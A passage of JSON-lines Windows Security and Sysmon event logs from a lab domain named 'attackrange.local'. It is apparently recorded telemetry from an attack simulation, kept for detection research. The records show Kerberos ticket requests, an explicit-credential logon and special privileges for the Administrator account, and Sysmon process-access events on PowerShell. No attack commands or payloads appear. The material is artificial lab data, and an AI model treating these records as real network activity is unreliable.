Service","Opcode":"Info","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-500","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x40810010","Status":"0x0","TicketEncryptionType":"0x12","PreAuthType":"2","IpAddress":"::1","IpPort":"0","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":221965,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{E06FDB69-4747-28FA-2F35-C2832EE53B7C}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"Administrator@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{E06FDB69-4747-28FA-2F35-C2832EE53B7C}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4648,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221966,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A logon was attempted using explicit credentials.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nAccount Whose Credentials Were Used:\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon GUID:\t\t{E06FDB69-4747-28FA-2F35-C2832EE53B7C}\r\n\r\nTarget Server:\r\n\tTarget Server Name:\tlocalhost\r\n\tAdditional Information:\tlocalhost\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tNetwork Address:\t-\r\n\tPort:\t\t\t-\r\n\r\nThis event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonGuid":"{E06FDB69-4747-28FA-2F35-C2832EE53B7C}","TargetServerName":"localhost","TargetInfo":"localhost","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221967,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x78003\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E06FDB69-4747-28FA-2F35-C2832EE53B7C}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\tWIN-DC-9849183\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x78003","LogonType":"3","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"WIN-DC-9849183","LogonGuid":"{E06FDB69-4747-28FA-2F35-C2832EE53B7C}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221968,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x78003\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x78003","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4933,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.243\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.243","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4934,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.243\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.243","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4935,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.243\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.243","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4936,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.243\r\nSourceProcessGUID: {90617006-415E-5F2D-0000-0010E0580700}\r\nSourceProcessId: 1276\r\nSourceThreadId: 4304\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-415F-5F2D-0000-001026810700}\r\nTargetProcessId: 5076\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.243","SourceProcessGUID":"{90617006-415E-5F2D-0000-0010E0580700}","SourceProcessId":"1276","SourceThreadId":"4304","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-415F-5F2D-0000-001026810700}","TargetProcessId":"5076","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4937,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.258\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-415F-5F2D-0000-001026810700}\r\nTargetProcessId: 5076\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.258","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-415F-5F2D-0000-001026810700}","TargetProcessId":"5076","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4938,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.274\r\nProcessGuid: {90617006-415F-5F2D-0000-001026810700}\r\nProcessId: 5076\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_ecvo3wb4.q5x.ps1\r\nCreationUtcTime: 2020-08-07 11:56:15.274","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.274","ProcessGuid":"{90617006-415F-5F2D-0000-001026810700}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_ecvo3wb4.q5x.ps1","CreationUtcTime":"2020-08-07 11:56:15.274","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4939,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process 